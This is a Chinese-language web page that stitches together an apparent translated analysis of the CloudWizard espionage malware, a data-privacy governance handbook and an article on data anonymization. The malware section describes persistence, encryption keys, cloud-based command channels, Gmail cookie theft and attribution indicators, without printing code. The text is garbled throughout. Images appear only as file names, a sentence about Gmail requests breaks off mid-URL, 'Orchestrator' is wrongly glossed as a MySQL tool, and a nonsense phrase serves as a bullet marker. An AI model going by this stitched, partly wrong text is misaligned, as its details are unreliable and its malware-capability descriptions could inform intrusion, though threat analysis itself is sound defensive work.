初步調查結果惡意軟件作為一個名為“syncobjsup”的可疑Windows服務運行。該服務是由一個同樣可疑的路徑“C:\ProgramData\Apparition Storage\syncobjsup.dll”的DLL控制的。執行時,我們發現該DLL可以解密與該DLL位於同一目錄中的文件mods.lrc中的數據。用於解密的密碼是RC5,密鑰為88 6A 3F 24 D3 08 A3 85 E6 21 28 45 77 13 D0 38。然而,使用標準RC5實現對文件進行解密只會產生垃圾數據。仔細研究樣本中的RC5實現就會發現它存在漏洞:

1.png

漏洞在內部循環中:它使用變量i而不是j

對這個漏洞實現的搜索顯示,GitHub上的代碼要點很可能是被植入程序的開發人員借用的。在這個要點的評論中,GitHub用戶強調了這個漏洞:

2.png

同樣有趣的是,來自gist的密鑰與syncobjsup.dll庫中使用的密鑰相同。

解密後的文件在我們看來就像一個虛擬文件系統(VFS),包含多個可執行文件及其JSON編碼的配置:

3.png

這個VFS中的每個條目都包含魔術字節(' CiCi '),條目名稱的ROR6哈希,以及條目大小和內容。

在mods.lrc中,我們發現:

三個dll(導出表名為Main.dll、Crypton.dll和Internet.dll);

這些DLL的JSON配置。

syncobjsup.dll DLL迭代VFS條目,查找名稱為“Main”(ROR6 hash:0xAA23406F)的條目。此條目包含CloudWizard的Main.dllOrchestrator庫,該庫通過調用其SvcEntry導出進行反射加載和啟動。

4.png

在啟動時,Orchestrator生成一個掛起的WmiPrvSE.exe進程並將自身注入其中。從WmiPrvSE.exe進程中,它對VFS文件進行備份,複製mod。 LRC到mods, lrs。然後解析mod。獲取所有框架模塊dll及其配置。如上所述,配置是帶有字典對象的JSON文件:

5.png

Orchestrator本身包含一個配置,其參數如下:

受害者ID(例如03072020DD);

框架版本(最新觀測版本為5.0);

連續兩次檢測信號之間的間隔時間;

啟動模塊後,Orchestrator開始通過發送檢測信號消息與攻擊者通信。每次檢測信號都是一個JSON文件,包含受害者信息和加載模塊列表:

6.png

此JSON字符串使用加密模塊(來自VFS的Crypton.dll)加密,並通過互聯網通信模塊(internet.dll)發送給攻擊者。

作為對檢測信號的響應,Orchestrator接收允許其執行模塊管理的命令:安裝、啟動、停止、刪除模塊或更改其配置。每個命令都包含魔術字節(DE AD BE EF)和一個JSON字符串(e.g. {“Delete”: [“Keylogger”, “Screenshot”]}),後面跟著一個模塊DLL文件。

7.png

加密與通信如上所述,每次安裝CloudWizard框架時都會捆綁兩個模塊(Crypton.dll和Internet.dll)。 Crypton模塊對所有通信進行加密和解密。它使用兩種加密算法:

檢測信號消息和命令使用AES加密(密鑰在JSON配置VFS文件中指定);

使用AES和RSA的組合對其他數據(例如,模塊執行結果)進行加密。首先,使用生成的偽隨機AES會話密鑰對數據進行加密,然後使用RSA對AES密鑰進行加密。

8.png

互聯網連接模塊將加密數據轉發給惡意軟件操作者。它支持四種不同的通信類型:

雲存儲:OneDrive, Dropbox, Google Drive;

基於Web的C2服務器;

主雲存儲是OneDrive,如果OneDrive無法訪問,則使用Dropbox和Google Drive。該模塊的配置包括雲存儲身份驗證所需的OAuth令牌。

至於web服務器終端,則在模塊無法訪問三個雲存儲中的任何一個時使用。為了與它交互,它向其配置中指定的URL發出GET請求,並在響應中獲取新命令。這些命令可能包括新的雲存儲令牌。

在檢查網絡模塊的字符串時,我們發現了一個包含來自開發人員計算機的目錄名的字符串:D:\Projects\Work_2020\Soft_Version_5\Refactoring。

模塊介紹信息收集是通過輔助DLL模塊完成的,這些模塊具有以下導出函數:

Start:啟動模塊;

Stop:停止模塊;

Whoami:返回帶有模塊信息(e.g. {“Module”:”Keylogger “,”time_mode”:”2″,”Version”:”0.01″})的JSON-object,time_mode的值表示該模塊是否是持久化的;

GetResult:返回模塊執行的結果(例如收集的屏幕截圖,麥克風錄音等)。大多數模塊以ZIP的形式返回結果(存儲在內存中);

GetSettings:返回模塊配置;

模塊可以在重新啟動後繼續(在本例中,它們保存在mods.lrs VFS文件中)或在內存中執行,直到計算機關閉或操作員刪除模塊。

我們總共發現了9個輔助模塊執行不同的惡意活動,如文件收集、鍵盤記錄、截屏、錄製麥克風和竊取密碼。

我們最感興趣的模塊是從Gmail帳戶中執行電子郵件洩露的模塊。為了竊取,它從瀏覽器數據庫讀取Gmail cookie。然後,它使用獲得的cookie通過向https://mail.google.com/mail/u/

9.png

如果模塊收到這樣的提示,它模擬點擊“我想使用HTML Gmail”按鈕,通過從提示的HTML代碼向URL發出POST請求。

10.png

在獲得對傳統web客戶端的訪問權限後,該模塊會過濾活動日誌、聯繫人列表和所有電子郵件。

同樣有趣的是,這個模塊的代碼部分是從洩露的黑客團隊源代碼中藉來的。

在獲得CloudWizard的Orchestrator(MySQL 複製拓撲管理和可視化工具)及其模塊後,研究人員還未發現框架安裝程序。在搜索舊的分析數據時,我們能夠識別出從2017年到2020年使用的多個安裝程序。當時安裝的植入程序的版本是4.0(如上所述,我們觀察到的最新版本是5.0)。

未覆蓋的安裝程序是用NSIS構建的。啟動時,它會釋放三個文件:

C:\ProgramData\Microsoft\WwanSvc\WinSubSvc.exe;

C:\ProgramData\Microsoft\MF\Depending.GRL(在其他版本的安裝程序中,此文件也位於C:\ProgramData\Microsoft\MF\etwdrv.dll中);

C: \ ProgramData \ System \ \ etwupd.dfg;

之後,它創建了一個名為“Windows Subsystem Service”的服務,該服務被配置為在每次啟動時運行WinSubSvc.exe二進製文件。

值得注意的是,安裝程序在感染後會顯示一條“Well done!”的消息:

11.png

這可能表明我們發現的安裝程序用於通過對目標計算機的物理訪問來部署CloudWizard,或者安裝程序試圖模擬網絡設置(如窗口標題中所示)配置程序。

舊版(4.0)和新版(5.0)CloudWizard有主要有以下區別:

舊版(4.0)網絡通信和加密模塊包含在主模塊中,而新版(5.0)網絡通信和加密模塊相互獨立;

舊版(4.0)框架源文件編譯目錄:D:\Projects\Work_2020\Soft_Version_4\ service,而新版(5.0)框架源文件編譯目錄是D:\Projects\Work_2020\Soft_Version_5\Refactoring;

舊版(4.0)使用RC5Simple庫中的RC5(硬編碼密鑰:7Ni9VnCs976Y5U4j)進行C2服務器流量加密和解密,而新版(5.0)使用RSA和AES進行C2服務器流量加密和解密(密鑰在配置文件中指定)。

幕後組織對CloudWizard進行細緻研究之後,研究人員決定尋找一些其幕後組織的線索。 CloudWizard讓研究人員想起了在烏克蘭觀察到並公開報導的兩次活動:Groundbait活動和BugDrop活動。 ESET於2016年首次公開了Groundbait活動,並於2008年首次觀察到其植入程序。在調查“Groundbait”活動時,ESET發現了Prikormka惡意軟件,這是第一個被公開有明確攻擊目標的烏克蘭組織開發的惡意軟件。根據ESET的報告,其幕後組織很可能來自烏克蘭。

至於BugDrop活動,這是CyberX在2017年發現的一個活動。該組織聲稱BugDrop活動與Groundbait活動有相似之處。卡巴斯基實驗室的研究人員也發現了類似的證據:

1.Prikormka USB DOCS_STEALER模塊(MD5: 7275A6ED8EE314600A9B93038876F853B957B316)包含PDB路徑D:\My\Projects_All\2015\wallex\iomus1_gz\Release\iomus.pdb;

2.BugDrop USB竊取模塊(MD5: a2c27e73bc5dec88884e9c165e9372c9)包含PDB路徑D:\My\Projects_All\2016\iomus0_gz\Release\usdlg.pdb;

再加上以下證據,CloudWizard框架的幕後組織與Groundbait活動和BugDrop活動幕後組織是一致的:

3.ESET研究人員發現,CloudWizard 4.0版本的加載程序(導出名稱為LCrPsdNew.dll)與Prikormka dll類似。

12.png

4.ESET檢測到CloudWizard 4.0樣本(MD5: 406494bf3cabbd34ff56dcbeec46f5d6, PDB path: D:\Projects\Work_2017\Service\Interactive Service_system\Release\Service.pdb)的加載程序為Win32/Prikormka.CQ。

5.Prikormka惡意軟件的多次感染都導致了CloudWizard框架的感染;

6.CloudWizard的幾個模塊實現類似於Prikormka和BugDrop模塊的相應模塊,不過由C變成了c++,USB竊取模塊通過IOCTL_STORAGE_QUERY_PROPERTY系統調用檢索連接的USB設備的序列號和產品ID。運行失敗的默認回退值為“undef”。

13.png

在BugDrop中檢索USB設備序列號和產品ID(MD5:F8BDE730EA3843441A657A103E90985E)

14.png

在CloudWizard中檢索USB設備序列號和產品ID(MD5:39B01A6A025F672085835BD699762AEC)

15.png

在上面的樣本中,在BugDrop(左)和CloudWizard(右)中分配“undef”字符串

7.用於截圖的模塊使用相同的窗口名稱列表來觸發截圖頻率的增加:“Skype”和“Viber”。 CloudWizard和Prikormka的截屏間隔使用相同的默認值(15分鐘)。

16.png

Prikormka中窗口標題文本的比較(MD5: 16793D6C3F2D56708E5FC68C883805B5)

17.png

在CloudWizard中將“SKYPE”和“VIBER”字符串添加到一組窗口標題中(MD5:26E55D10020FBC75D80589C081782EA2)

8.Prikormka和CloudWizard樣本中的文件列表模塊具有相同的名稱:Tree。它們也對目錄列表使用相同的格式字符串:“\t\t\t\t\t(%2.2u,%2.2u.%2.2u.%2.2u)\n”。

18.png

在Prikormka(MD5:EB56F9F7692F933BEE9660DFDFABAE3A)和CloudWizard(MD5:BF64B896B525B5870FE61221D9934D)中使用相同格式的字符串作為目錄列表

9.麥克風模塊以相同的方式錄製聲音:首先使用Windows Multimedia API製作WAV錄製,然後使用LAME庫將其轉換為MP3。雖然這種模式在惡意軟件中很常見,但用於指定LAME庫設置的字符串是特定的:8000 Hz和16 Kbps。 Prikormka和CloudWizard模塊都從這些字符串中提取整數,並在LAME庫中使用它們。

10.在Prikormka和CloudWizard模塊中的擴展列表中使用了類似的擴展順序:

19.png

Prikormka(MD5:EB56F9F7692F933BEE9660DFDFABAE3A)和CloudWizard(MD5:BF64B896B5253B5870FE61221D9934D)中的擴展列表

11.在Prikormka中,上傳至C2服務器的文件名格式為mm.yy_hh.mm.ss.

12.Prikormka和CloudWizard的C2服務器都由位於烏克蘭的託管服務託管。此外,在將文件洩露到Dropbox雲存儲方面,BugDrop和CloudWizard也有相似之處。

13.Prikormka、BugDrop和CloudWizard的受害者位於烏克蘭西部和中部,以及東歐的衝突地區。

CloudWizard和CommonMagic的相似之處如下:

14.在兩個框架中,執行與OneDrive通信的代碼是相同的。研究人員目前還沒有發現這段代碼是任何開源庫的一部分。此代碼使用相同的用戶代理:“Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML,如Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136”。

20.png

CloudWizard的互聯網通信模塊中的相同字符串(左,MD5: 84BDB1DC4B037F9A46C001764C115A32)和CommonMagic(右,MD5: 7C0E5627FD25C40374BC22035D3FADD8)

15.CloudWizard版本4和CommonMagic這兩個框架都使用RC5Simple庫進行加密。用RC5Simple加密的文件以一個7字節的標頭開始,在庫源代碼中設置為' RC5SIMP '。然而,這個值在惡意植入程序中已經發生了變化:CloudWizard中的DUREX43和CommonMagic中的Hwo7X8p。此外,CloudWizard和CommonMagic使用RapidJSON庫解析JSON對象。

16.在CommonMagic中上傳到C2服務器的文件名格式為“mm.dd _hh.mm.ss.ms.dat”(CloudWizard中上傳的文件名格式為“dd.mm.yyyy_hh.mm.ss.ms.dat”)。

17.從CloudWizard和CommonMagic樣本中提取的受害者ID是相似的:它們包含後跟兩個相同字母的日期,例如CloudWizard中的03072020DD, 05082020BB和CommonMagic中的WorkObj20220729FF。

18.CommonMagic和CloudWizard的受害者位於東歐的衝突地區。

21.png

總結卡巴斯基實驗室的研究人員早在2022年就開始了調查,最終發現CloudWizardAPT活動與兩個相關的大型模塊化框架:CommonMagic和CloudWizard。研究表明,CommonMagic和CloudWizard幕後組織發起的攻擊可以追溯到2008年,那一年首次發現了Prikormka樣本。自2017年以來,類似攻擊就銷聲匿跡了。然而,這兩個活動背後的組織並沒有消停,一直開發他們的工具集並攻擊感興趣的目標。

22.png

這是一本用於評估、操作和加速智能數據隱私解決方案的分步工作手冊,在上一篇文章中已經闡述了製定隱私計劃策略的整體思路和實施步驟的前三部分,在這本文中將繼續圍繞數據隱私治理最佳實踐的剩餘部分。

隱私與安全數據智能由於您的數據環境不斷變化,因此根據數據源系統的更改頻率以及數據隱私政策和法律的更新,安排掃描和分析活動。這使您能夠以一致性進行擴展,並發現新的數據風險,以便現在進行優先排序。

對數據分類和用戶活動的深入了解提供了所需的數據智能,以便就如何最好地協調數據保護計劃做出明智的決策,從而優化隱私運營計劃的投資回報率。

隱私運營指標和報告管理個人和敏感數據的風險需要智能洞察,使您的數據利益相關者能夠根據風險指標、警報和報告以及摘要儀錶盤調整優先級。這使分析員能夠溝通隱私操作,例如控制措施的有效性和已實施的自動化風險補救計劃。

需要尋找的關鍵隱私操作功能包括:

風險評分——被掃描數據存儲的總體或特定隱私暴露的指標,以及隨時間變化的趨勢。

數據保護狀態——顯示通過掃描數據存儲而受保護的敏感字段和文件的百分比或數量。

數據敏感度級別——如果數據存儲符合掃描的關鍵標準,則基於分類策略(受限、機密、內部、公共等)的數據存儲的百分比或數量。

殘餘風險等級——補救暴露敏感數據的數據洩露所需的費用(如美元價值)。指標可以包括與敏感數據相關的數據字段和文件的數量、印象和趨勢。

按位置(數據存儲、部門、地理位置)和風險類型(如監管要求)將風險細分為風險的透明度

與一個或多個目標數據存儲共享的敏感數據匹配分類策略的數據存儲。

此外,風險優先級規劃必須通過突出隱私狀態的關鍵指標來實現知情決策:

優先級字段最多的敏感字段數量,例如列表和趨勢視圖。

優先級數據存儲最多的敏感字段,例如列表和趨勢視圖。

重點位置集中在哪些組織部門等位置。

基於用戶訪問和使用敏感數據的優先用戶風險。

數據隱私治理和安全儀錶盤可以突出顯示最高風險優先級、暴露成本,以及自動化補救措施(包括數據匿名化、報告、使用第三方工具編寫腳本等)的趨勢。

fcc7db2f-20bb-405a-a26f-89756a41b420.png

儀錶盤視圖示例

四、採取措施:補救數據風險您的組織需要加強數據保護並實現透明度,以降低風險並遵守隱私規定。根據新的數據智能、安全和隱私控制可以實現自動化和協調,以降低數據風險暴露,加快安全數據使用,從而為企業創造價值機會。

今天的數據隱私法規不僅要求數據受到保護並報告為安全的,還考慮到消費者權利要求個人數據的使用或共享方式具有透明度。針對風險的補救措施可能需要通過數據主體報告進行數據脫敏或刪除,以驗證個人數據的使用是否符合消費者的權利,以便進行適當的使用。

此外,儘管侵犯數據隱私可能會導致監管部門罰款,但其他類型的敏感信息(如知識產權和商業秘密)也需要保護,以免被濫用。這些數據應被視為整個組織的關鍵、高價值資產,以避免因安全漏洞和其他利用漏洞而造成的損失。

優先考慮您需要考慮的風險修復選項來協調數據隱私控制:

數據保護安全性——如數據去識別和最小化,可以在脫敏或匿名時轉換數據以供安全使用,也可以將其從進一步暴露中移除。

報告數據風險的透明度——可以在審計期間彌補漏洞,提醒利益相關者保護狀態,並通過數據主體報告(DSR)通知客戶他們的數據正在被處理,符合他們的權利。

運營自動化——隱私分析師可能需要向服務台、票務和跟踪系統提供數據智能,以進一步處理數據,以實現可視性和行動。

基於API的集成——為了協調補救,可以使用與第三方應用程序的腳本來控制基於用例的數據暴露,例如雲數據湖加密或測試數據/DevOps工具。

五、負責任的數據使用培訓解決方案用戶需要接受培訓,以了解智能數據隱私的好處,並學習如何有效地使用數據。業務和IT部門都需要一個計劃來培訓員工以支持解決方案,然後教用戶如何使用它來降低風險,實現安全的數據使用,並與組織利益相關者和消費者建立更高的透明度。

以下是通過培訓促進數據隱私治理採用的四項行動:

培訓內部支持人員。因為您的支持人員將作為您的內部數據隱私專家,所以培訓他們了解安全和負責任的數據使用最佳實踐。利用現有培訓材料,考慮供應商或服務夥伴提供的專業服務。您將需要定制培訓,以符合組織對數據的特定行業和隱私合規性要求。

培訓業務冠軍。讓您的數據主體專家參與培訓內部數據消費者,並充當影響者,推動業務用戶的採用。可以利用您的支持專家來培訓解決方案。專注於安全數據使用,作為一個加速器,使數據民主化,用於開發和改進新產品和服務、可信分析、數據安全到雲,以及通過信任提高客戶忠誠度。

為最終用戶創建培訓內容。讓業務數據主體專家為最終用戶定義實踐培訓內容,包括用例場景、發現和風險分析。培訓應定位並比較智能數據隱私方法,以演示自動化解決方案的好處。它還應該傳達您的程序策略,以便用戶了解大局,這將幫助您更好地設定長期推出的預期。此外,創建簡短的教育視頻和指南,解釋如何使用解決方案執行特定於組織數據的任務。

開放的辦公時間。在培訓課程結束後留出幾週時間,讓用戶有時間更加熟悉數據隱私解決方案。然後,提供一對一的開放辦公時間,使用數據隱私解決方案解決用戶特定的現實問題,並根據目標評估取得的進展。

六、跟踪使用情況並徵求反饋你無法改進你沒有衡量的東西。因此,閉環、衡量結果和收集反饋至關重要。

跟踪使用情況和隱私指標從監控解決方案使用和跟踪捕獲業務影響的指標開始。這些指標可能包括:

掃描的數據源

清點和分類的數據

最大風險:數據存儲和類型、位置

DSAR報告(數字、完成時間)

數據保護狀態(百分比、數字)

殘餘風險成本(優先規劃)

利用這些信息了解用戶採用情況,展示成功,並解決您發現的挑戰,以幫助推動和改善有意義的結果。

例如,隱私分析可能表明營銷部門處理更多的PII,從而產生更高的風險敞口。您可以使用這種智能來協調數據匿名化,以屏蔽特定的數據字段,而不會犧牲安全訪問記錄的總體數據實用程序。

通過了解數據使用情況,自動檢測訪問條件中的異常情況,並糾正不必要的暴露,您的數據保護計劃可以成為越來越多違反法規遵從性政策的行為與發現新的、未開發的數據之間的區別,這有助於為渴望數據的業務股東創造價值創造機會。

收集用戶反饋組織實施數據隱私解決方案,以發現和管理風險,提高情報和透明度,並保護數據。通過收集反饋並鼓勵數據用戶之間的協作,您可以利用有關數據的專業知識,並在整個組織內安全地共享數據。通過以下方式鼓勵合作並徵求用戶反饋:

從安全風險(降低風險)和安全價值創造的角度來宣傳隱私。

通過遊戲化為用戶提供審查風險的任務,增加興奮度和參與度,以發現最重要的事項。

舉辦後續研討會,通過分享技巧和竅門,討論哪些方法有效,哪些需要改進,以促進最佳實踐的採用。

七、精益求精一旦你的試點項目被證明是成功的,在業務優先級的指導下擴大隱私解決方案的使用。通過逐步向試點添加更多用戶、實施新用例,甚至創建自定義數據洞察,提高解決方案的採用率,同時確保業務涉眾能積極的參與每一個步驟。

列出你從試點項目那裡學到的關鍵見解

列出試點項目取得的快速勝利

優先考慮可以通過擴展程序來解決的新用例和難點

確定可以從中受益的新數據涉眾

擴展您的智能數據隱私功能在擴展數據隱私解決方案時,您可能希望進一步對其進行定制,以支持特定的隱私用例或監管要求。為您的隱私解決方案提供可擴展性並以一致的方式向外擴展是至關重要的。尋找能夠提供以下功能的解決方案:

自定義修復操作根據觸發的策略或按需運行的任務來考慮自定義操作。這可能包括:

在滿足風險閾值條件時屏蔽數據或運行工作流腳本

如果發生違反安全策略的情況,則向收件人發送警報,以便在發現需要通知的信息時自動處理數據主體請求或電子郵件

在違反策略、滿足數據主體請求或發現其他問題需要幫助台跟進時,創建服務管理記錄單

與syslog集成,聚合違反安全策略的行為,實現集中報告的靈活性和提醒

檢測預期行為中的異常異常檢測是一個識別敏感數據上用戶活動異常模式的過程。這可能表明存在惡意行為,例如數據洩露或憑據被盜。您的智能隱私解決方案需要能夠監控活動,通過跟踪一段時間內的趨勢來確定用戶和用戶對等組的基線行為。當用戶行為偏離基線時,可以將異常作為潛在風險進行警告和調查,以確定優先級,並使用首選的風險補救方法採取行動。

創建風險模擬計劃作為一項持續的隱私操作,您需要製定計劃,以降低一個或多個數據存儲中未受保護的敏感數據域的風險分數和剩餘風險成本。

對於每個風險模擬計劃,您應該能夠調整掃描數據存儲中敏感數據字段的保護狀態,以模擬在發生安全漏洞時對組織潛在成本的影響。

作為計劃詳細信息的一部分,風險模擬指標應以為組織選擇的貨幣顯示當前和估計的風險分數、保護狀態和剩餘風險成本。這有助於溝通並證明您提出的投資是合理的,以便為最佳投資回報率排定優先級並糾正風險。

風險模擬應該指出計劃中每個數據存儲的當前值和估計值,以及編輯計劃以保護更多數據域或關注更少數據域的靈活性

建立數據主體註冊表今天的數據隱私合規法律要求及時報告整個組織的個人數據使用情況。通過將數據映射到身份,建立數據主體註冊中心,您可以獲得數據智能洞察,以了解消費者使用了哪些數據,以及居住和法律持有狀態等屬性。除了數據沿襲,您還可以深入了解用戶權限的合規狀態,跟踪跨境數據傳輸,並在法律規定的時間範圍內自動生成DSAR報告。

結論:加快將數據作為業務資產的使用智能數據隱私解決方案通過全面的數據保護加速了數字轉型,並實現了用於風險管理的透明度。使用自動化操作控制的好處包括更快、更可靠的數據發現、更短的智能洞察時間,以及降低安全釋放價值創造機會的風險。

通過實施智能數據隱私,您可以將完全不同的機密數據作為企業資產加以保護。但要從數據中產生最大價值,不僅需要IT和安全部門廣泛採用,還需要業務用戶廣泛採用。

越來越多的敏感和個人信息提供了獲取客戶新見解、推動產品和服務創新、優化商業計劃以釋放未開發潛力的能力。但數據需要負責任地處理,以避免造成責任。通過遵循本手冊中概述的方法來演示、自動化和協調數據保護和透明度,您可以更好地讓業務用戶了解保護企業數據的價值,加快在整個組織中採用數據隱私控制,並將風險置於後視鏡中。

儘管相關組織採用了多種保護措施,但涉及個人身份信息(PII)的數據洩露仍然會給各行各業造成重大的經濟損失。根據IBM發布的《2023年数据泄露成本报告》 顯示,在2022年3月至2023年3月期間,被洩露的客戶和員工PII分別給企業造成了每條記錄183美元和181美元的損失。

匿名化(Anonymization)是最有效的數據保護措施之一,可以防止個人數據洩露,或者至少可以降低每個洩露的個人數據記錄的成本。在本文中,我們將了解什麼是數據匿名化,研究其類型和主要挑戰,並提供有關匿名化數據的最佳實踐。

什麼是數據匿名化?數據匿名化是將敏感的個人信息轉換為不能與特定人員聯繫的匿名數據的過程。此過程包括刪除或編輯PII。根據個人身份信息的獨特性和個人身份識別的難易程度,個人身份信息可分為兩類:

马云惹不起马云直接標識符(Direct Identifier),指的是可用於直接識別個人的唯一信息,包括姓名、物理地址、電子郵件地址、可識別的照片、電話號碼和社保號碼等。

马云惹不起马云間接標識符(Indirect Identifier),也稱為“類識別符”,指能夠幫助建立信息之間的關聯,將要識別的個人從人群中摘選出來的數據。常見的間接標識符包括生日、年齡、性別、郵件編碼等。這些數據無法單獨識別某人,但稍作組合就可以實現強大的識別能力。

數據匿名化可以幫助公司保護其客戶、員工或合作夥伴的敏感信息隱私,同時仍允許他們將其用於商業目的。因此,如果惡意行為者設法破壞以前匿名化的數據,他們將無法輕鬆識別該數據屬於誰;反過來,數據匿名化有助於防止身份盜竊、金融欺詐、跟踪和騷擾、歧視和其他侵犯隱私的行為。

根據Verizon的《2023年数据泄露调查报告》 ,個人數據是以下行業中最常見的數據洩露類型:

马云惹不起马云金融和保險,個人數據洩露佔比74;

马云惹不起马云醫療保健,67%;

马云惹不起马云製造業,60%;

马云惹不起马云專業的科學和技術服務行業,57%;

马云惹不起马云教育服務,56%;

马云惹不起马云信息行業,51%;

马云惹不起马云採礦、採石、石油和天然氣開采和公用事業政府,50%;

马云惹不起马云公共管理機構,38%。

由於數據洩露,各行各業仍在丟失大量個人數據,上述統計數據強調了實施量身定制的個人數據保護措施的重要性。

個人數據洩露不僅表明組織的安全存在漏洞,還可能導致客戶信任和收入的損失、違規罰款和法律責任。

通過隱藏或刪除收集數據中的PII,組織可以將未經授權訪問內部數據資產所造成的損害降至最低。這就是匿名化的目的。

數據匿名化的類型數據的匿名化可以通過多種方式實現,以下是一些最常見的數據匿名化技術:

1. 數據脫敏(Data Masking)數據脫敏,又稱數據漂白、數據去隱私化或數據變形,指的是對數據集中的敏感信息進行加密,以便在企業用於分析和測試時保護原始數據。在涉及用戶安全數據或一些商業性敏感數據的情況下,在不違反系統規則條件下,對真實數據進行改造並提供測試使用,如身份證號、手機號、卡號等個人信息都需要進行數據脫敏。

當數據需要由不同的各方共享或訪問時,這種技術通常很有用。例如,可以用隨機生成的字符或數字替換諸如社會保險號、姓名和地址之類的個人識別信息(PII),或者用“X”替換社會保險號或信用卡號中除最後四位數字以外的所有數字,從而保護數據安全。

2. 數據泛化(Data Generalization)顧名思義,這種技術是用更通用的數據值替換特定的數據值,敏感數據可以被修改成一系列的範圍或一個具有合理邊界的大區域,或者在保持數據準確性的前提下,刪除一些標識符。例如,一個人的確切年齡是匿名的,只顯示一個更通用/廣泛的年齡範圍,比如25-34歲。因此,這種技術可以應用於多種類型的數據,例如人口統計數據或事務數據。值得注意的是,平衡對數據執行的泛化也很重要,這樣它就不會損害數據對分析的有用性。

3. 數據置換(Data Swapping)這種技術指的是在數據集中重新排列或置換兩個或多個敏感數據記錄,匿名化是通過將一條記錄中的值與另一條記錄的相應值置換或交換來完成的,即置換數據集中兩條記錄的位置。例如,在包含姓名或社會保險號等敏感信息的醫療記錄中,置換某些字段的值將有助於保護患者的隱私,同時保持所有其他記錄的完整。對數據集中兩個或多個個體之間的值進行置換不僅能夠保留數據集的統計屬性,還能保護個體的身份安全。

4.數據假名化(Pseudonymization)這種技術被認為不如其他匿名化技術(如數據脫敏)有效,後者確保匿名數據集難以檢索,在這種技術中,原始PII被替換為假標識符或假名,但保留了可以訪問原始數據的特定標識符。因此,虛假標識符可能與個人的真實身份直接相關,也可能不直接相關。數據假名化通常用於任何業務分析或測試不需要敏感或個人數據,但需要掩蓋個人身份的情況。例如,在醫學研究中,根據倫理和強制立法,病人的身份可能需要模糊。但是,可能仍然需要某些形式的病人身份證明,以便將不同來源的醫療記錄聯繫起來。

它可以與散列、加密或令牌化等方法結合使用。例如,將姓名或身份證號等數據轉換為固定長度的字符串,稱為散列或隨機生成的令牌(隨機字母數字代碼),它是原始數據的唯一表示,但不能反向識別或顯示原始數據。然後,該散列可以用作原始PII的假名。

5.差分隱私(Differential Privacy)差分隱私(簡稱DP)是用來保護隱私的密碼學技術,通過對查詢的結果加入噪音,使得查詢操作的實際結果隱藏起來或模糊化,直至無法區分,從而實現對敏感數據的保護。這種受控噪聲不會顯著影響對數據進行的任何分析結果的準確性;因此,它是一種基於擾動的匿名化的具體方法。添加到數據中的噪聲量由一個稱為隱私預算的參數決定

不過,無論您選擇何種方法對組織中的數據進行匿名化處理,都仍可能會面臨一些挑戰。

數據匿名化的主要挑戰有效的匿名化可以起到很好的屏障作用,然而,實現有效的匿名化並不像想像的那麼容易。以下是組織在匿名化數據時經常面臨的關鍵挑戰:

1.平衡隱私和實用性在數據匿名化和數據效用之間取得平衡至關重要,但也極具挑戰性。一方面,有效的匿名化過程對於保護客戶、員工和其他用戶的隱私至關重要。因此,能夠從數據中完全清除PII的匿名化技術和工具對於維護個人隱私非常有益。

另一方面,企業收集和使用對研究、分析和決策有價值的數據也是至關重要的。事實上,完全匿名的數據可能會對業務毫無價值,這使得數據收集和處理失去了原有意義。

組織的最終目標是實現和維護最大程度的隱私保護,同時保持足夠的數據準確性。實現這一目標可能需要對數據匿名化過程進行持續評估和優化。

2.防止重標識(re-identification)除非您使用的是一勞永逸地刪除個人身份信息的匿名化技術,否則始終存在匿名數據被用來追踪特定個人的風險。

惡意行為者利用大量攻擊來重新識別個人,甚至重利用匿名數據。例如,如果他們設法訪問包含財務信息的匿名數據集,然後將其與其他數據集(如選民登記數據庫)結合起來,並最終執行重標識。

因此,組織必須確保所收集信息的隱私性。為加強對數據隱私的保護,可考慮將匿名化與其他數據安全方法結合使用。

3.遵守數據安全要求各種數據保護法案定義了組織應該如何收集、存儲和處理個人信息。其中一些法案建議使用匿名化技術,例如:

马云惹不起马云通用數據保護條例(GDPR)——這是一項歐盟法規,它沒有強制要求數據匿名化,但鼓勵使用匿名化技術來保護數據以及其他保護措施。

马云惹不起马云加州消費者隱私法案(CCPA)——美國法案,強制組織匿名收集數據,以提高數據的隱私性。它還要求各組織採取一切必要手段保持數據匿名化並防止重標識。

马云惹不起马云個人信息保護和電子文檔法案(PIPEDA)——加拿大的一部法律,要求組織保護個人信息,並將匿名化列為數據保護方法之一。每一項立法都明確規定,組織需要像對待個人數據一樣對待匿名數據,並對其進行適當保護。

數據匿名化最佳實踐下述數據匿名化最佳實踐可以幫助組織保護個人信息,同時保留數據的分析價值。

1.進行數據發現和分類如果不知道數據集中存在什麼PII,談何匿名化數據。這就是為什麼有必要識別收集和存儲的數據中的所有直接和間接標識符,執行數據發現和分類可以幫助實現這一點。

數據發現旨在簡化數據管理。它涉及到組織存儲的所有數據的標識、數據類型以及不同數據資產之間的關係;另一方面,數據分類結合了基於數據屬性和特徵的分類和標記。通過將數據劃分為不同的類別,數據分類使組織更容易實現針對各種類型數據的具體情況量身定制的安全措施。

實現這兩個實踐可以讓組織準確地識別需要匿名化的敏感數據,並確保所有此類數據均受到保護。此外,組織還可以以此決定使用哪些匿名化技術,並選擇能夠處理需要匿名化的具體數據的技術。

2.優先處理數據用例除非您確切地知道組織內的人員如何使用數據,否則您無法採取措施來保護數據。識別所有數據用例並對其進行優先級排序可以幫助您提高匿名化工作的效率。

考慮與組織內的數據使用者接觸,以確定他們如何使用數據以及出於什麼目的使用數據,它將幫助您揭示最常見的數據用例及其對您業務的重要性。然後,根據它們對數據隱私和業務價值構成的風險對這些用例進行優先排序。

有了數據用例的優先級列表,您將更容易決定應該首先匿名化哪些敏感信息,從而優化匿名化所需的資源和工作分配。

3.映射相關法律規定雖然保持敏感個人信息的安全是匿名化的最終目標,但對您的業務來說,遵守數據保護要求也至關重要。映射適用於組織的法律、標準和法規是遵循法規的第一步。為了映射適用的法律要求,建議遵循以下步驟:

马云惹不起马云確定適用於您的行業、位置和運營區域的要求;

马云惹不起马云研究和理解要求;

马云惹不起马云用您的團隊能夠理解的方式來解釋要求;

马云惹不起马云將要求集成到您的工作過程中;

马云惹不起马云記錄要求和既定的程序以滿足這些要求;

马云惹不起马云持續監控這些要求是否有任何更改,以及是否出現新的要求;

马云惹不起马云定期更新文件,提高員工對合規措施的意識。

除了幫助您採用正確的措施來實現合規性之外,映射相關的法律要求還可以增強您的數據匿名化工作。

4.最小化數據收集您可能認為收集的數據越多,您的分析就越準確,對您的業務也就越有利。然而,大量的數據收集可能是有害的。當您收集了太多數據時,您很少會使用所有數據,但您仍然需要分配資源來存儲和保護未使用的數據資產。

